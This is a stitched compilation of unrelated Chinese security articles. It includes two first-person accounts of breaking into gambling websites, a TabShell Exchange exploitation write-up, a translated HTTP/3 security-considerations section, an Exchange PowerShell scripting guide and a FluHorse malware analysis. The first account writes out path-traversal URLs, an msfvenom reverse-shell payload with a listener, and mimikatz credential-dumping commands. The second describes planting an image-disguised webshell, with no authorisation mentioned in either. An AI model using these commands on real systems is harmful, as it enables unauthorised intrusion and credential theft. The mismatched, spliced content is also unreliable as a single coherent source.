http://www.xxx.com/download.php?filepath=../../../wwwroot/config.php

记一次菠菜论坛的渗透测试经历

拿到账号尝试连接，提示没有权限，还是以失败告终，猜测存在防火墙，或者数据库host值设置为仅本地访问。

没办法，继续翻，尝试读取apache配置文件。

http://www.xxx.com/download.php?filepath=../../../../apache/conf/httpd.conf

记一次菠菜论坛的渗透测试经历

王特发！！！html文件可作为php文件执行，赶紧回去尝试上传文件处，修改后缀上传，俩处上传点均上传失败~

继续翻，在会员管理找到一处上传头像处。

记一次菠菜论坛的渗透测试经历

修改文件名称上传，响应并返回上传路径。

记一次菠菜论坛的渗透测试经历

构造链接下载，文件下载已成功，证明存在。

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20201115/1805872100098841.html

记一次菠菜论坛的渗透测试经历

拼接访问，成功解析。

http://www.xxx.com/php/upload/2020xxxx/1805872100098841.html

记一次菠菜论坛的渗透测试经历

激动地心，颤抖的手啊，成功getshell。

记一次菠菜论坛的渗透测试经历

梭哈成功

尝试提权，查看补丁情况，更新了不少，不过总有漏网之鱼。

记一次菠菜论坛的渗透测试经历

使用工具，直接搜索未打补丁，exp怼上，提权成功，拿到管理员权限。

记一次菠菜论坛的渗透测试经历

继续反弹shell，毕竟终端用的不舒服，这里用MSF反弹shell。

1、首先使用msf在本地生成一个木马文件，指定payload；

msfvenom -p  windows/x64/meterpreter_reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f exe -o achess.exe

记一次菠菜论坛的渗透测试经历

2、本地开启python服务器，端口为8000；

python -m http.server 8000

记一次菠菜论坛的渗透测试经历

3、将文件放置在python服务器中，查看已经开启；

记一次菠菜论坛的渗透测试经历

在终端目标机中下载exe文件；

echo  open  服务器ip:8000>exe文件。

记一次菠菜论坛的渗透测试经历

4、使用msf中reverse_tcp开启监听；

handler -p windows/meterpreter_reverse_tcp -H ip -P 4444

记一次菠菜论坛的渗透测试经历

5、执行exe文件，成功收到shell。

记一次菠菜论坛的渗透测试经历

拿到会话不要掉以轻心，MSF中自带mimikatz模块，MSF中的 mimikatz 模块同时支持32位和64位的系统，但是该模块默认加载32位系统，所以如果目标主机是64位系统，直接加载该模块会导致很多功能无法使用。所以64位系统下必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载mimikatz并且查看系统明文，同时也是防止会话断掉。

Ps查看进程，寻找稳定进程进行迁移。

migrate pid号

记一次菠菜论坛的渗透测试经历

将meterpreter进程迁移到408进程：migrate  408

记一次菠菜论坛的渗透测试经历

成功迁移，万事具备，就差密码，同样使用MSF中mimikatz模块抓取密码。

首先加载mimikatz模块：

记一次菠菜论坛的渗透测试经历

这里列出 mimikatz_command模块用法:

meterpreter > mimikatz_command -f a::  输入一个错误的模块，可以列出所有模块

meterpreter > mimikatz_command -f samdump::  可以列出samdump的子命令

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f handle::list  列出应用进程

meterpreter > mimikatz_command -f service::list  列出服务

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

meterpreter > run post/windows/gather/smart_hashdump  获取hash

选择samdump模块，该模块存在俩个功能:

?  mimikatz_command -f  samdump::hashes

?  mimikatz_command -f  samdump::bootkey

记一次菠菜论坛的渗透测试经历

但是这样抓到的是密码的hash值，我想直接看到明文密码，使用sekurlsa模块下的searchPasswords功能,执行以下命令,成功抓取密码。

mimikatz_command  -f sekurlsa::searchPasswords

记一次菠菜论坛的渗透测试经历

最后3389连接成功，打完收工。

记一次菠菜论坛的渗透测试经历

证明有时当一当铁头娃还是不错的。

总结

从云悉，fofa，各类插件，子域名，端口信息收集，爆破后台进入该站点(有个好字典很重要)，找到编辑器上传文件失败，白名单限制，js文件找到该编辑器名称，查询编辑器漏洞无果，找到图片下载处功能点，下载链接暴露网站路径，通过文件下载找到数据库配置文件，连接无权限，找到apache配置文件，发现文件后缀可绕过，另寻其他上传点成功getshell，提权操作后使用MSF中mimikatz模块抓取到登录密码，远程桌面连接成功，至此渗透结束。


转载于原文链接： https://cloud.tencent.com/developer/article/1790943


HireHackking

0x00 前言利用TabShell可以使用普通用戶逃避沙箱並在Exchange Powershell中執行任意cmd命令，本文將要介紹利用TabShell執行cmd命令並獲得返回結果的方法，分享通過Python編寫腳本的細節。

0x01 簡介本文將要介紹以下內容：

執行cmd命令並獲得返回結果的方法

Python實現

0x02 執行cmd命令並獲得返回結果的方法testanull公開了一個利用的POC，地址如下：https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e

為了能夠支持更多的命令，POC需要做簡單修改，細節如下：

某些命令無法執行，例如netstat -ano或者systeminfo

解決方法：

去掉命令：$ps.WaitForExit()

執行cmd命令並獲得返回結果的方法有以下兩種：

1.使用Powershell連接Exchange服務器，實現TabShellPowershell命令示例：

1.png 2.png

需要注意以下問題：

需要域內主機上執行

需要fqdn，不支持IP

連接url可以選擇http或https

認證方式可以選擇Basic或Kerberos

2.通過SSRF漏洞調用Exchange Powershell，實現TabShell這裡需要通過Flask建立本地代理服務器，方法可參考之前的文章《ProxyShell利用分析3——添加用户和文件写入》

Powershell命令示例：

3.png 4.png

0x03 Python實現這裡需要考慮兩部分，一種是通過SSRF漏洞調用Exchange Powershell實現TabShell的Python實現，另一種是通過Powershell Session實現TabShell的Python實現，後者比前者需要額外考慮通信數據的編碼和解碼，具體細節如下：

1.通過SSRF漏洞調用Exchange Powershell實現TabShell的Python實現為了分析中間的通信數據，抓取明文數據的方法可參考上一篇文章《渗透技巧——Exchange Powershell的Python实现》 中的0x04，在Flask中輸出中間的通信數據

關鍵代碼示例：

5.png

通過分析中間的通信數據，我們可以總結出以下通信過程：

(1)creationXml

初始化，構造原始數據

(2)ReceiveData

循環多次執行，返回結果中包含'RunspaceState'作為結束符

(3)執行命令;/./././Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression

在返回數據中獲得CommandId

(4)讀取輸出結果

通過CommandId讀取命令執行結果

(5)執行命令$ExecutionContext.SessionState.LanguageMode='FullLanguage'

在返回數據中獲得CommandId

(6)讀取輸出結果

通過CommandId讀取命令執行結果

(7)執行命令並獲得返回結果

依次執行以下命令：

6.png在返回數據中獲得CommandId，並通過CommandId讀取命令執行結果，這些命令的格式相同，發送數據的格式如下：

7.png 8.png 9.png 10.png 11.png

(8)執行命令並獲得最終返回結果

發送數據的格式同(7)一致，執行的命令為：$Out，在返回數據中獲得CommandId，並通過CommandId讀取最終的命令執行結果，提取執行結果的示例代碼：

12.png

2.通過Powershell Session實現TabShell的Python實現這裡可以藉鑑上一篇文章《渗透技巧——Exchange Powershell的Python实现》 得出的經驗：兩者通信過程一致，只是通過Powershell Session實現TabShell的Python實現需要額外考慮通信數據的編碼和解碼

通信數據的編碼和解碼可參考上一篇文章《渗透技巧——Exchange Powershell的Python实现》 中的0x03

數據的編碼和解碼示例代碼如下：

13.png 14.png完整代碼的輸出結果如下圖

15.png

0x04 小結本文介紹了利用TabShell執行cmd命令並獲得返回結果的方法，改進POC，分享通過Python編寫腳本的細節。

HireHackking

今天在浏览网页时突然发现了一个菠菜站，网站截图我就不发了

都说菠菜站做的比较安全不容易渗透，今天闲来无事就搞了一下。结果只是扫一下端口我的ip都被ban了。这就有点难过了，只能挂代理再看看。

浏览发现这个站应该不是菠菜主站，而是类似一个办理各种活动的旁站。并且在其中一个活动弹窗中发现了惊喜

图片[1]-渗透进入菠菜服务器（实战）-可能资源网

这里居然可以上传sfz，那不意味着可能存在文件上传漏洞吗？在信息搜集的时候知道了这个服务器是IIS7.5的

图片[2]-渗透进入菠菜服务器（实战）-可能资源网

前段时间刚好复习了解析漏洞，所以就试一试是否存在该漏洞

图片[3]-渗透进入菠菜服务器（实战）-可能资源网

将php的大马做成图片马进行上传

图片[4]-渗透进入菠菜服务器（实战）-可能资源网

从响应结果来看上传成功了，并且还返回了地址。接着就来访问一下

图片[5]-渗透进入菠菜服务器（实战）-可能资源网

可以看到确实解析成功了，但是遗憾的是不能正常使用。所以接着直接将php大马的后缀改为jpg进行上传

图片[6]-渗透进入菠菜服务器（实战）-可能资源网

再次访问发现可以正常使用了，进去一看居然里面还有很多人的个人信息和转账截图。不得不说菠菜害人啊。

图片[7]-渗透进入菠菜服务器（实战）-可能资源网

既然有了webshell了，那么就先看看当前的权限吧

图片[8]-渗透进入菠菜服务器（实战）-可能资源网

真是难搞额，又一次碰到了低权限。先不考虑提权，继续看看有没有其他敏感文件可利用的。在各种目录下翻找半天终于找到了数据库的配置文件，显示如下

图片[9]-渗透进入菠菜服务器（实战）-可能资源网

赶紧连接数据库看看

图片[10]-渗透进入菠菜服务器（实战）-可能资源网

发现了疑似管理员的账户和密码，试了试这个是能够解密出来的，运气还不错

图片[11]-渗透进入菠菜服务器（实战）-可能资源网

接下来就登录后台看看

图片[12]-渗透进入菠菜服务器（实战）-可能资源网
图片[13]-渗透进入菠菜服务器（实战）-可能资源网

结果大失所望，原本以为会有各种用户的信息和资金流之类的。都到了这一步了，只能继续了。就在一边苦逼想思路怎么提权一边感叹菠菜站确实不是浪得虚名的时候，居然在某个文件夹下面发现了服务器的资料文件

图片[14]-渗透进入菠菜服务器（实战）-可能资源网

注意看这个文件名——“服务器资料”。可真是瞌睡了有人送枕头。从这里知道这个站应该是基于宝塔搭建的，并账户和密码都给出来了，太贴心了。尝试登陆上去看看

图片[15]-渗透进入菠菜服务器（实战）-可能资源网
图片[16]-渗透进入菠菜服务器（实战）-可能资源网

如图，几个数据库里面就记录着很多罪恶的金钱交易。具体就不放出来了。

在宝塔上还看到管理员将3389端口改成了19283。结合前面文件里面给出了服务器账户和密码，登陆上看看

图片[17]-渗透进入菠菜服务器（实战）-可能资源网

通过一顿折腾发现这个服务器下面放了三个关于菠菜的站点，功能还各不相同。一个是主站，一个是办理活动的，还有一个是抢红包的。可真是丰富多彩啊。


转载于原文链接：

https://www.kngzs.cn/1705.html


HireHackking

10. 安全注意事項HTTP/3的安全考慮應該與使用TLS的HTTP/2相當。然而，[HTTP/2] 第10 節中的許多注意事項適用於[QUIC-TRANSPORT]。

10.1. 服務器權限HTTP/3依賴於HTTP對權限的定義。建立權限時的安全考慮在[HTTP]第17.1節中進行討論。

10.2 跨協議攻擊在TLS 和QUIC 握手中使用ALPN 在處理應用層字節之前建立目標應用協議。這確保了終端有強有力的保證，即對等方使用相同的協議。

這並不能保證免受所有跨協議攻擊。我們會在[QUIC- transport]中描述一些方法，可以使用QUIC 數據包的明文對不使用經過身份驗證的傳輸的終端執行請求偽造的方法。

10.3. 中間封裝（Intermediary-Encapsulation）攻擊HTTP/3 字段編碼允許在HTTP 使用的語法中表達不是有效字段名稱的名稱（[HTTP] 的第5.1 節）。包含無效字段名稱的請求或響應必須被視為格式錯誤。因此，中介無法將包含無效字段名稱的HTTP/3 請求或響應轉換為HTTP/1.1 消息。

同樣，HTTP/3 可以傳輸無效的字段值。雖然大多數可以編碼的值不會改變字段解析，但如果逐字翻譯，攻擊者可能會利用回車符(ASCII0x0d)、換行符(ASCII0x0a) 和空字符(ASCII0x00)。任何包含字段值中不允許的字符的請求或響應都必須被視為格式錯誤。有效字符由[HTTP] 第5.5 節中的“field-content”ABNF 規則定義。

10.4 推送響應的可緩存性推送響應沒有來自客戶端的明確請求，請求是由服務端在PUSH_PROMISE幀中提供的。

根據原始服務器在Cache-Control 標頭字段中提供的指導，可以緩存推送的響應。但是，如果一台服務器託管多個租戶，這可能會導致問題。例如，服務器可能會為多個用戶提供其URI 空間的一小部分。

當多個租戶共享同一服務器上的空間時，該服務器必須確保租戶無法推送他們無權訪問的資源的表示。未能強制執行此操作將允許租戶提供將在緩存之外提供的表示，從而覆蓋權威租戶提供的實際表示。

要求客戶端拒絕原始服務器不具有權威性的推送響應（見第4.6 節）。

10.5 拒絕服務注意事項與HTTP/1.1 或HTTP/2 連接相比，HTTP/3 連接可能需要更大的資源承諾才能運行。字段壓縮和流量控制的使用取決於用於存儲更多狀態的資源的承諾。這些功能的設置可確保這些功能的內存承諾受到嚴格限制。

PUSH_PROMISE幀的數量也以類似的方式被限制。接受服務器推送的客戶端應該限制一次發送的Push ID的數量。

處理能力不能像狀態能力那樣得到有效保護。

發送對等方需要忽略的未定義協議元素的能力可能被濫用，從而導致對等方花費額外的處理時間。這可以通過設置多個未定義的SETTINGS參數、未知幀類型或未知流類型來完成。但是請注意，某些用途是完全合法的，例如可理解的擴展和填充以增加對流量分析的阻止力。

所有這些功能，例如服務器推送、未知協議元素、字段壓縮都有合法的用途。只有在不必要或過度使用時，這些功能才會成為一種負擔。

如果不監控此類行為的終端，則會使自己面臨拒絕服務攻擊。實現應該跟踪這些功能的使用，並對它們的使用設置限制。終端可以將可疑的活動視為H3_EXCESSIVE_LOAD類型的連接錯誤，但誤報將導致中斷有效連接和請求。

10.5.1 字段段大小的限制

大字段部分（第4.1 節）可能導致實現提交大量狀態。對路由至關重要的標頭字段可能出現在標頭部分的末尾，這會阻止標頭部分流傳輸到其最終目的地。這種排序和其他原因（例如確保緩存正確性）意味著終端可能需要緩衝整個標頭部分。由於字段部分的大小沒有硬性限制，一些終端可能被迫為標頭字段提交大量可用內存。

終端可以使用SETTINGS_MAX_FIELD_SECTION_SIZE（第4.2.2 節）設置來通知對等方可能適用於字段部分大小的限制。此設置只是建議性的，因此終端可以選擇發送超出此限制的字段部分，並有可能將請求或響應視為格式錯誤。此設置特定於HTTP/3 連接，因此任何請求或響應都可能遇到具有較低未知限制的躍點。中間人可以嘗試通過傳遞不同對等方提供的值來避免這個問題，但他們沒有義務這樣做。

當服務器接收到比它願意處理的更大的字段段時，可以發送一個HTTP 431(請求標頭字段太大)狀態碼([RFC6585])。客戶端可以刪除它無法處理的響應。

10.5.2 連接問題

CONNECT方法可以用於在代理上創建不成比例的負載，因為與創建和維護TCP連接相比，流的創建是相對便宜的。因此，支持CONNECT的代理在接受並發請求的數量上可能比較保守。

代理還可能會在關閉攜帶CONNECT 請求的流之後為TCP 連接維護一些資源，因為傳出TCP 連接仍處於TIME_WAIT 狀態。考慮到這一點，代理可能會在TCP 連接終止後延遲增加QUIC 流限制一段時間。

10.6 使用壓縮當秘密數據在與攻擊者控制的數據相同的上下文中被壓縮時，壓縮可以讓攻擊者恢復秘密數據。 HTTP/3 啟用字段壓縮（第4.2 節）；以下問題也適用於HTTP 壓縮內容編碼的使用，具體請參閱[HTTP] 的第8.4.1 節。

有一些針對壓縮的攻擊利用了網絡的功能(例如，[BREACH])。攻擊者誘導多個包含不同明文的請求，觀察每個請求中生成的密文的長度，當對秘密的猜測正確時，會顯示較短的長度。

在安全通道上通信的實現不得壓縮包含機密和攻擊者控制的數據的內容，除非每個數據源使用單獨的壓縮上下文。如果不能可靠地確定數據源，則不得使用壓縮。

10.7 填充和流量分析填充可用於掩蓋幀內容的確切大小，並用於緩解HTTP 中的特定攻擊，例如，壓縮內容包括攻擊者控制的明文和秘密數據的攻擊（例如，[BREACH]）。

當HTTP/2使用填充幀和其他幀中的填充字段來使連接更能阻止流量分析時，HTTP/3既可以依賴傳輸層填充，也可以使用在7.2.8節和6.2.3節中討論的保留幀和流類型。這些填充方法在填充的粒度、如何根據受保護的信息排列填充、是否在數據包丟失的情況下應用填充以及實現如何控制填充等方面產生不同的結果。

保留流類型可用於在連接空閒時提供發送流量的外觀。因為HTTP流量經常以突發的形式出現，所以可以使用明顯的流量來掩蓋這種突發的時間或持續時間，甚至看起來像是在發送恆定的數據流。然而，由於這些流量仍然是由接收方控制的流量，如果不能及時排出這些流量並提供額外的流量控制信用，可能會限制發送方發送真實流量的能力。

為了緩解依賴於壓縮的攻擊，禁用或限制壓縮可能比填充更可取。

填充方法的使用可能導致保護效果不如看上去那麼明顯。冗餘填充甚至可能適得其反。充其量，填充只會使攻擊者更難通過增加攻擊者必須觀察的幀數來推斷長度信息。錯誤實現的填充方案很容易被繞過。特別是，具有可預測分佈的隨機填充提供的保護非常少。同樣，將有效負載填充到固定大小會在有效負載大小跨越固定大小邊界時暴露信息，如果攻擊者可以控制明文，這是可能的。

10.8 幀解析一些協議元素包含嵌套的長度元素，通常以具有顯式長度的幀的形式包含可變長度整數。這可能會給粗心的實施者帶來安全風險。實現必須確保幀的長度與其包含的字段長度完全匹配。

10.9 早期的數據將0-RTT 與HTTP/3 一起使用會導致重放攻擊。當使用帶有0-RTT 的HTTP/3 時，必須應用[HTTP-REPLAY] 中的反重放緩解措施。在將[HTTP-REPLAY] 應用於HTTP/3 時，對TLS 層的引用是指在QUIC 中執行的握手，而對應用程序數據的所有引用指的是流的內容。

10.10 遷移某些HTTP實現使用客戶端地址進行日誌記錄或訪問控制。由於QUIC客戶端的地址可能會在連接期間發生變化，並且未來版本可能支持同時使用多個地址，因此此類實現將需要主動檢索客戶端的當前地址或相關地址，或者明確接受原始地址可能會更改。

10.11 隱私注意事項HTTP/3的一些特徵為觀察者提供了一個機會，可以在一段時間內關聯單個客戶端或服務器的操作。這包括設置的值，對刺激的反應時間，以及處理由設置控制的任何功能。

就這些在行為上產生可觀察到的差異而言，它們可以用作對特定客戶進行指紋識別的基礎。

HTTP/3 對使用單個QUIC 連接的偏好允許關聯用戶在站點上的活動。重用不同來源的連接允許跨這些來源的活動相關聯。

QUIC的幾個功能要求立即響應，終端可以使用它來測量對等方的延遲，在某些情況下，這可能會出現隱私洩露。

11. IANA 注意事項本文檔註冊了一個新的ALPN 協議ID（第11.1 節）並創建了管理HTTP/3 中代碼點分配的新註冊表。

11.1. 註冊HTTP/3標識字符串本文在[RFC7301]建立的“TLS 應用層協議協商(ALPN) 協議ID”註冊表中創建了一個新的HTTP/3標識註冊。

“h3”字符串標識HTTP/3；

協議：HTTP/3；

識別順序：0x680x33 ('h3')；

規格：本文件；

11.2 新註冊在本文中創建的新註冊按照[QUIC-TRANSPORT] 第22.1 節中記錄的QUIC 註冊政策運行。這些註冊表都包括[QUIC-TRANSPORT] 的第22.1.1 節中列出的通用字段集。這些註冊表出現在“超文本傳輸協議版本3 (HTTP/3)”標題下。

這些註冊表中的初始分配都被分配了永久狀態，並列出了IETF 的變更控制者和HTTP 工作組的聯繫人(ietf-http-wg@w3.org)。

11.2.1 幀類型

本文為HTTP/3幀類型代碼建立了一個註冊表。 “HTTP/3幀類型”註冊表管理62位空間。本註冊中心遵循QUIC註冊中心政策；參見11.2節。該註冊表遵循QUIC 註冊表政策；見第11.2 節。此註冊表中的永久註冊是使用規範要求策略([RFC8126]) 分配的，但0x00 和0x3f 之間的值（十六進制；包括在內）除外，這些值是使用標準操作或IESG 批准分配的，如[ RFC8126]。

雖然此註冊表與[HTTP/2] 中定義的“HTTP/2 幀類型”註冊表是分開的，但在代碼空間重疊的情況下，分配最好彼此平行。如果一個條目僅存在於一個註冊表中，則應盡一切努力避免將相應的值分配給不相關的操作。評審員可以拒絕與相應註冊表中相同值衝突的不相關註冊。

除了第11.2節中描述的常見字段外，本註冊中心的永久註冊必須包括以下字段：

幀類型：幀類型的名稱或標籤。

幀類型的規範必須包括幀佈局及其語義的描述，包括有條件存在的幀的任何部分。

下表中的條目都是由本文介紹過的。

12.png

初始HTTP/3幀類型

對於N 的非負整數值，即0x21、0x40、到0x3ffffffffffffffe，格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

11.2.2 SETTINGS參數

由於為HTTP/3設置了註冊表。 “HTTP/3設置”註冊表管理62位空間。該註冊表遵循QUIC 註冊表政策，具體見第11.2 節。此註冊表中的永久註冊是使用規範要求策略([RFC8126]) 分配的，但0x00 和0x3f 之間的值（十六進制；包括在內）除外，這些值是使用標準操作或IESG 批准分配的，如[ RFC8126]。

雖然此註冊表不同於[HTTP/2] 中定義的“HTTP/2 設置”的註冊表，但最好是這些分配彼此並行。如果一個條目僅存在於一個註冊表中，則應盡一切努力避免將相應的值分配給不相關的操作。評審員可以拒絕與相應註冊表中相同值衝突的不相關註冊。

除了第11.2 節中描述的通用字段外，此註冊表中的永久註冊必須包括以下字段：

設置名稱：設置的符號名稱，指定設置名稱是可選的。

默認值：該設置的值，除非另有說明。默認值應該是最具限制性的值。

13.png

初始HTTP/3設置

出於格式原因，可以通過刪除'SETTINGS_'前綴來簡化設置名稱。

對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

11.2.3 錯誤代碼

已經建立了HTTP/3錯誤碼的註冊表。 “HTTP/3錯誤碼”註冊表管理一個62位的空間。該註冊中心遵循QUIC註冊中心政策。此註冊表中的永久註冊使用規範要求策略([RFC8126])分配，但0x00 和0x3f 之間的值（十六進制包括在內）除外，這些值是使用標準操作或IESG 批准分配的。

錯誤代碼的註冊需要包含錯誤代碼的描述，建議審閱者檢查新註冊是否可能與現有錯誤代碼重複。鼓勵使用現有註冊，但不是強制性的。不鼓勵使用在“HTTP/2 錯誤代碼”註冊表中註冊的值，專家審閱者可能會拒絕此類註冊。

除了第11.2節中描述的通用字段外，這個註冊表還包括兩個附加字段。在本註冊中心的永久註冊必須包括以下字段：

名稱：錯誤代碼的名稱。

描述：錯誤代碼語義的簡要描述。

下表中的條目是本文所介紹的。這些錯誤代碼是從對規範要求策略運行的範圍中選擇的，以避免與HTTP/2 錯誤代碼衝突。

14.png

初始HTTP/3 錯誤代碼

對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

11.2.4 流類型

HTTP/3單向流類型會建立一個註冊表，“HTTP/3流類型”註冊表管理62位空間。該註冊表遵循QUIC 註冊表政策；見第11.2 節。此註冊表中的永久註冊是使用規範要求策略分配的，但0x00 和0x3f 之間的值（十六進制包括在內）除外，這些值是使用標準操作或IESG 批准分配的。

除了第11.2 節中描述的常見字段外，此註冊表中的永久註冊必須包括以下字段：

流類型：流類型的名稱或標籤。

發件人：HTTP/3 連接上的哪個終端可以啟動這種類型的流。值為“客戶端”、“服務器”或“兩者都有”。

永久註冊的規範必須包括流類型的描述，包括流內容的佈局和語義。

下表中的初始流類型是本文出現過的：

15.png

初始流類型

對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

HireHackking

0x00 前言遠程執行Exchange Powershell命令可以通過Powershell建立powershell session 實現。而在滲透測試中，我們需要盡可能避免使用Powershell，而是通過程序去實現。本文將要介紹通過Python實現遠程執行Exchange Powershell命令的細節，分享使用Python實現TabShell利用的心得。

0x01 簡介本文件將介紹以下內容：

執行Exchange Powershell 命令的實際方法

開發細節

TabShell利用細節

0x02 執行Exchange Powershell 命令的實際方法1.使用Powershell連接Exchange服務器，執行Exchange Powershell命令命令示例：

1.png

需要注意以下問題：

需要域內主機上執行

需要fqdn，不支持IP

連接url可以選擇http或者https

認證方式可以選擇Basic或者Kerberos

2.使用Python連接Exchange服務器，執行Exchange Powershell命令這裡需要使用pypsrp

命令示例：

2.png

0x03 開發細節這裡需要了解具體的通信格式，我採用的方法是使用pypsrp，打開調試信息，查看具體發送的數據格式

1.啟動調試信息將調試信息寫到文件，代碼如下：

3.png

2.增加調試輸出內容修改文件pypsrp/wsman.py，在def send(self, message: bytes)中添加調試輸出信息

具體代號位置：

https://github.com/jborean93/pypsrp/blob/master/src/pypsrp/wsman.py#L834，添加代碼：

4.pnghttps://github.com/jborean93/pypsrp/blob/master/src/pypsrp/wsman.py#L841，添加代碼：

5.png輸出結果顯示如下圖

6.png

3.數據包數據結構可參考之前的文章《渗透技巧——远程访问Exchange Powershell》

經過對比分析，在編寫程序上還需要注意以下細節：

(1)Kerberos認證的實際情況

示例代碼：

7.png

(2)通信數據格式

類型為POST

header需要包裹：'Accept-Encoding': 'identity'

(3)認證流程

需要先進行Kerberos認證，返回長度為0

再次發送數據，進行通信，返回正常內容

(4)數據編碼

發送和接收的數據平均做了編碼

發送過程序的代碼顯示示例代碼：

8.png

注：

hostname必須為小寫字符

接收過程序的解碼示例代碼：

9.png完整展示示例代碼如下：

10.png 11.png完整代碼的輸出結果如下圖

12.png

0x04 TabShell利用細節TabShell的公開POC使用Powershell連接取接Exchange服務器，執行特殊構造的Exchange Powershell命令接觸，為便於分析中間的通信數據，可以採用以下方法擦拭中間：

1.通過Flask構建本地代理服務器方法可參考之前的文章《ProxyShell利用分析3——添加用户和文件写入》

2.通過Flask實現SSRFSSRF漏洞可選擇CVE-2022-41040或CVE-2022-41080

3.在Flask中輸出中間的通信數據關鍵字代碼示例：

13.png根據通信數據，我們可以很容易地寫出TabShell的Python現代代碼，完整代碼的輸出結果如下圖

14.png

0x05 小結本文件介紹了通過Python 實現遠程執行Exchange Powershell 命令的細節，分享使用Python 實現TabShell 使用的心得。

HireHackking

微信截图_20230512233738.png

Check Point的研究人員最近發現了一種名為FluHorse的新型惡意軟件。該惡意軟件具有幾個模仿合法應用程序的惡意安卓應用程序，其中大多數安裝量超過100萬次。這些惡意應用程序竊取受害者的憑據和雙因素身份驗證（2FA）代碼。 FluHorse針對東亞市場的不同領域，並通過電子郵件進行傳播。在某些情況下，第一階段攻擊中使用的電子郵件屬於知名對象。惡意軟件可以在數月內不被發現，這使其成為一種持久、危險且難以發現的威脅。

1.png

其中一個惡意軟件樣本在3個月後仍未在VirusTotal（VT）上檢測到

攻擊者使用規避技術、模糊處理和執行前的長時間延遲等技巧來躲過虛擬環境的檢測。通常，這些技巧都有自定義實現，需要開發者付出大量的努力。

令人驚訝的是，FluHorse內部沒有使用自定義實現的技巧，因為惡意軟件的開發者在開發過程中完全依賴開源框架。儘管一些應用程序部分是用Kotlin創建的，但惡意功能是用Flutter實現的。 Flutter是一個開源的用戶界面軟件開發工具包，由谷歌創建。它用於為各種平台開發跨平台應用程序，包括用於移動設備的Android和iOS，使用單個代碼庫。 Flutter之所以成為惡意軟件開發人員的一個有吸引力的選擇，是因為它使用自定義虛擬機（VM）來支持不同的平台，而且它易於創建GUI元素。此外，由於自定義的虛擬機，分析此類應用程序非常複雜，這使得該框架成為Android網絡釣魚攻擊的完美解決方案。

模擬應用程序攻擊者會為每個國家的目標開發一個虛假應用程序：攻擊者努力仔細模仿所有關鍵細節，以避免引起任何懷疑。

網絡釣魚讓我們看一下如何在應用程序的不同變體中實現網絡釣魚，有趣的是，惡意應用程序不包含任何東西，除了為受害者提供輸入可能性的幾個窗口副本。沒有添加額外的函數或檢查。這種刻意的簡單性讓我們得出結論，惡意軟件的開發者並沒有在他們創建的編程部分投入太多精力，又或者他們可能故意做出這個決定，以進一步減少被安全解決方案檢測到的機會。

不管他們的意圖是什麼，這個計劃都很有效。受害者輸入敏感數據後，這些數據會被洩露到CC服務器。與此同時，惡意軟件要求受害者在“處理數據”時等待幾分鐘。在這一步中，短信攔截功能發揮作用，將所有傳入的短信流量重定向到惡意服務器。如果攻擊者輸入被盜憑證或信用卡數據，然後被要求輸入雙因素身份驗證（2FA）代碼，這也會被攔截。網絡釣魚方案如下：

4.png

惡意軟件如何進行網絡釣魚攻擊

請注意，根據惡意應用程序的類型（針對電子收費、銀行或約會用戶），可能不需要憑據或信用卡號。

感染鍊和目標在受害者的設備上安裝惡意應用程序之前，必須先發送惡意應用程序。這就是電子郵件誘餌派上用場的地方。我們追踪了不同類型惡意應用程序的感染鏈，並在這些電子郵件的收件人中發現了多個知名對象，包括政府部門和大型工業公司的員工。

電子郵件誘餌很好地利用了社會工程，並與隨後安裝的惡意APK的所謂目的一致：支付通行費。

這是一個帶有fetc.net.tw-notice@twfetc.com發件人地址：

5.png

攻擊者發送給政府接收者的電子郵件示例

攻擊者使用的惡意fetc-net[.]com域與fetc公司的官方網站fetc.net.tw非常相似。

在這個惡意網站上，攻擊者添加了一個額外的保護層，以確保只有受害者才能下載APK：如果目標的用戶代理與預期的用戶代理匹配，就會下載APK。此檢查是通過客戶端JavaScript執行的：

6.png

惡意軟件安裝完成後，需要短信權限：

7.png

ETC APK請求SMS權限

在此步驟中獲得的權限將在受害者輸入敏感數據後生效。

惡意電子收費APK此應用程序僅包含3個窗口：

8.png

惡意ETC APK按順序顯示的窗口

第一個窗口詢問用戶憑證，第二個窗口詢問信用卡數據。所有這些敏感數據都被洩露到惡意的CC服務器。接下來，第三個窗口要求用戶等待10分鐘，因為“系統繁忙”。希望用戶關閉應用程序，或者至少在合理的時間內不被懷疑。當用戶被“系統繁忙”消息誤導而產生虛假的安全感時，攻擊者會執行所有必要的操作，即攔截所有帶有2FA代碼的短信，並利用被盜數據。

這個誘餌應用程序的整個GUI看起來像是原始ETC應用程序的一個簡單副本，用於收取通行費。以下是惡意和合法應用程序入口窗口的可視化比較：

9.png

原始輸入窗口(左)和惡意APK輸入窗口(右)

原始應用程序不顯示任何用於登錄或輸入用戶憑據的字段。相反，有一個單獨的窗口用於此目的：

10.png

原始應用程序登錄表格

惡意VPBank APK此應用程序僅包含2個窗口：

11.png

惡意VPBank APK按順序顯示的窗口

其原理與其他惡意APK相同：要求用戶輸入憑據，然後等待15分鐘（而惡意ETC APK則為10分鐘）。在此期間，惡意軟件攔截所有傳入的SMS，從而為攻擊者提供他們可能需要的所有2FA代碼。請注意，此應用程序不要求提供信用卡詳細信息。

惡意和合法應用程序登錄窗口之間的比較：

12.png

原始登錄窗口（左）和惡意APK輸入窗口（右）

如上所示，即使缺少某些GUI元素，惡意副本看起來也很好。

惡意約會APK約會應用程序不包含任何窗口。相反，它實際上充當了一個瀏覽器，引導用戶進入釣魚約會網站。但是，竊取和處理數據的原理是一樣的。

